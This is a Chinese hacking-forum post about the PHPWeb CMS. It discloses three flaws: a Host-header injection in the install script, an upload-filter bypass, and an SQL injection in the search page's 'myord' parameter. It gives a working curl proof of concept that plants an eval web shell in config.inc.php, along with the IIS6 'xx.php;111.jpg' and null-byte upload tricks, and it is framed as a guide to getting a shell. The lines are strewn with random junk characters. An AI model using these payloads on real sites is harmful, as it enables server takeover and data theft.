找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2430|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
2 ?: P8 E; o; K2 i3 l
! o# F$ @  y4 ~" e1 y1 Z之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码& |( Y# [5 K) M4 K
4 Q: b7 o  M$ _+ F# r  i
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件& }. c& D( Z1 x: h9 V6 ]9 O$ a
鸡肋2: 有一定安全常识的站长都会删掉 install 目录1 B4 v% t3 _: T. p- L7 C4 e

0 s9 i% p- X  R: N+ Q' D虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
( n6 A1 s# ^+ C; C/ G
9 @- W4 @# o. ~% d$ D分析:
" d, C! r+ \8 _; S+ b- o5 m% h5 G
6 g( [) q7 D+ [' H5 n- P 2 ?; S0 y1 |: G; N& c1 M* ]6 v
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤) M$ Q& g- A) A$ W$ E- D- y
$ s! h2 h6 I8 o% s  K% g" K
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);- Q  c, p$ x3 D2 Z$ K
                                            $filestr=str_replace(" ","",$filestr);9 S2 o, b) x  p: Q. ?, a
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);( ?0 H8 f* U* z+ V$ `9 h% f
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
0 B! M% `) f* Z* [' g3 Z. p                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);5 A# I; X0 w' e) t, E6 d7 z
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);+ I. X! A+ S6 x, M5 t! N
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
1 F' o, n6 C5 y1 {                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);" p5 U% d6 v1 n5 K' y
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 Q6 N, T  E1 C" p

; d" H4 M& V9 J" v7 H; v' t; Q                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
3 T) x) I0 f" D3 N5 [$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^" v7 }) M+ ?$ Y
! x/ s4 ~* z- K9 ~9 y
poc:
! J5 z: s2 l: m! B   l. N2 i3 ~; k, X
?5 X* ~" R- V% n% q6 t' y
1
8 ^% c% R0 b% Q+ Ncurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#", Z: O$ I- ~2 e
shell地址: /config.inc.php2 J; v  i8 I0 c9 y8 T
跟之前的 phpcms一样 需要远程数据库
* S6 B$ A, r  G2 _$ i: G
  E! {% N* h; h3 `; p# z——————————————————–
2 I+ F: ?6 N+ c上传漏洞(需要进后台):; f  q8 {+ u2 z1 P2 D2 ?
漏洞文件: /kedit/upload_cgi/upload.php& k/ F( D& p8 e* e. x) b! |' \
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
- ?& C; }% a5 T, H- Y& c* s
5 g9 a( `8 q% ?, T6 O " a/ s8 m  Z- a% S6 D- l
<?php
1 G7 ?3 }& i# R    define("ROOTPATH", "../../");  }- A$ d! V) R8 d
    include(ROOTPATH."includes/admin.inc.php");8 G' c2 [/ Y5 m; u* s7 P3 S$ @( L" w
    NeedAuth(0);
1 ]) W% J% j3 C" I( Y' c* T
4 Y: V1 }! z* n$ m) l, r& k    $dt=date("Ymd",time());
3 n9 Q$ I4 R) A3 }    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
! u# ~, h% P6 d            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);, y1 U* J" z8 W- g# A  L% s
    }! c2 T$ \/ x6 B9 E' W+ l5 e9 K1 b/ s

% C; }% r! \0 B6 a7 o( z    //文件保存目录路径
/ T6 @" N2 O6 Z    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';/ J  u: N$ U4 u$ P) @9 o
    echo $save_path;
4 |0 p* y7 v. @8 D! n8 T% |    //文件保存目录URL
8 l! |8 L' s1 p: M    $save_url = '../../'.$_POST['attachPath'].$dt.'/';  u. C4 \' v. A* T# H8 d& d
( P: W# @' N6 D
    //定义允许上传的文件扩展名; j, U2 m& C+ f3 ~2 ~9 c' f% j
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
! r4 A3 R/ m; ~7 Z8 z 6 K: b! ~) F7 i' s9 x. i
    //最大文件大小
9 u3 G& f, m. R0 n1 R4 ^! D; c    $max_size = 1000000;
# A# w8 y6 V# |
. x; m" @0 }- Y. n' r8 q# ]8 t    //更改目录权限
2 E4 h& i" p' u5 L, n- Z" J) s    @mkdir($save_path, 0777);
9 B$ B& y3 K" p! q  J6 ~$ O # C+ O  y; l0 ^& w; |
    //文件的全部路径, I) E* z; y, T' g9 M0 ^& P
    $file_path = $save_path.$_POST['fileName'];   //保存文件名3 h2 q3 P# y; F% h2 ~# a( c; T; o

5 a, O% w0 T1 @$ X    //文件URL
8 g% B, _- f, S1 W  F    $file_url = $save_url.$_POST['fileName'];: V" E7 @$ F5 v/ @) T' F
//有上传文件时5 `" C$ [: x, [
    if (empty($_FILES) === false) {# M6 E7 \# C/ \8 y; q. l4 x, D

0 L- D) n' j9 m/ {$ O6 |( ?            //原文件名3 w; ^: V) i% I' z" _. a
            $file_name = $_FILES['fileData']['name'];9 T& a% a0 v# J3 }
            //服务器上临时文件名1 T- u6 [+ v6 L4 o7 o5 K6 \
            $tmp_name = $_FILES['fileData']['tmp_name'];+ |1 S4 E# ]1 T, D3 E: D9 }' L
            //文件大小3 j" c3 F4 {/ `, a1 w
            $file_size = $_FILES['fileData']['size'];% t- }, F  T5 S
            //检查目录
9 ?5 G0 @. J3 t) t2 v( f# P6 i            if (@is_dir($save_path) === false) {
) @3 |2 l2 j, c/ o4 L+ C& @- h                    alert("上传目录不存在。");
3 ~) I5 \- K4 i; H9 R: o3 I            }9 M1 N7 o3 S8 b0 D2 \2 i( _9 t- I0 d
            //检查目录写权限8 a" G- x; t6 u& a
            if (@is_writable($save_path) === false) {: S9 ~* ~" j0 d1 [. c+ z& v8 q% b
                    alert("上传目录没有写权限。");( l# M) A$ l- F, l0 q1 }1 o5 r
            }7 b& Z4 i2 x& Y. {9 z: {2 R
            //检查是否已上传
' r7 s8 i5 P4 V- F$ ]+ \            if (@is_uploaded_file($tmp_name) === false) {
  Q6 H8 p. Q; [                    alert("临时文件可能不是上传文件。");
9 b+ c7 \- q  j4 y$ K5 O, T            }
2 O* o+ o( Z9 x' H' g            //检查文件大小' {% z+ c0 C" V, t0 p
            if ($file_size > $max_size) {
0 u' s2 O- b) l; U4 R                    alert("上传文件大小超过限制。");
( L3 v( T5 H. N. ]! Y7 f            }+ @; D) ~4 y# e8 `3 S
            //获得文件扩展名
3 s2 n) t. ^& x$ P            $temp_arr = explode(".", $_POST['fileName']);$ X6 s' e1 E: n, @, |
            $file_ext = array_pop($temp_arr);: r, o5 N, o4 M& f! k
            $file_ext = trim($file_ext);+ G  f8 B. @) T4 ^' t( g7 E" ]3 Y
            $file_ext = strtolower($file_ext);  n& o0 y3 g6 l

9 B  I  c9 B! ?4 ]$ y6 D6 ^; S$ b            //检查扩展名   
$ H+ B9 X# `) _. O            if (in_array($file_ext, $ext_arr) === false) {     , {) Y) x5 \  r1 Z8 X; `& Q
                    alert("上传文件扩展名是不允许的扩展名。");: I6 g" o9 M# t: O
            }
: N$ G( Z) v; N( n; A- [ 9 t* s  C  I6 ~
            //移动文件   
) E- O( f0 q; v, Q            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^8 B8 s! |" M. k6 L/ y
            if (move_uploaded_file($tmp_name, $file_path) === false) {+ l" k5 a& y: ?) m1 \9 V3 t
                    alert("上传文件失败。");
' R$ m5 u, b4 w) H, G            }: n/ v2 e2 C$ o: l. B- d
2 ?9 V4 t6 i' @* G" n
            @chmod($file_path,0666);
; ]: _  @  q. k% L% {
# P  J: W9 D7 b4 o9 u1 m7 }" [    ?>
  s" m# l/ v% d- k, b抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227; \, j& n+ d/ d! I7 a& G& [& E

: Q8 T9 F6 \6 X& y' {apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
9 A9 d0 N- ~" \/ D7 ]4 v
' v0 W$ I" O( L& h8 {( n——————————————————
8 L* |* `" G% c$ ]1 B4 R注入漏洞:
/ q# U6 y! s2 P. L漏洞文件:search/module/search.php
, u2 k; B" \8 _6 R6 C& `/search/index.php?key=1&myord=1 [sqlinjection]& A' P8 A, n! h0 e. B; ?
# q6 O  B' p5 j/ f6 G- b
$ A; j& x$ B! `! r9 z
<?php3 a. Q2 b$ S0 y
   //       ... 省略 n 行...
" ~2 k5 B- ^  J" I. y( D  R   //第18行:& r, Q  b7 r2 D
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
: d; S. l, ?$ e8 @1 U           $page=htmlspecialchars($_GET["page"]);" e0 ^+ e9 L8 L
           $myord=htmlspecialchars($_GET["myord"]);
! A2 m5 N$ `( O; g3 ?
3 I8 N7 T4 g, G  ]1 H" H( J" Z4 w   //       ... 省略 n 行...
9 g1 r( g& u/ k$ P  X( t   $key,$myord 两个参数带入查询
# {2 S. m- Y! I$ u   //第47行 $key:' E# Y: I) m: ~/ ]$ A

3 P7 B: s, E/ ^2 h0 c/ e( R6 t9 z: k9 W   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..% ?# I7 ^: s$ P, H: d# a  Z2 U
  f* B+ J3 C  [5 \- ^5 Y' `
   //第197行 $myord
; t+ }2 E. A. p   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
9 V; T" H5 L7 x' n, q& F1 H) x & h( q# D, Q' N1 X2 z) y
   ?>
2 B. _$ n+ g# }8 W  X2 _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表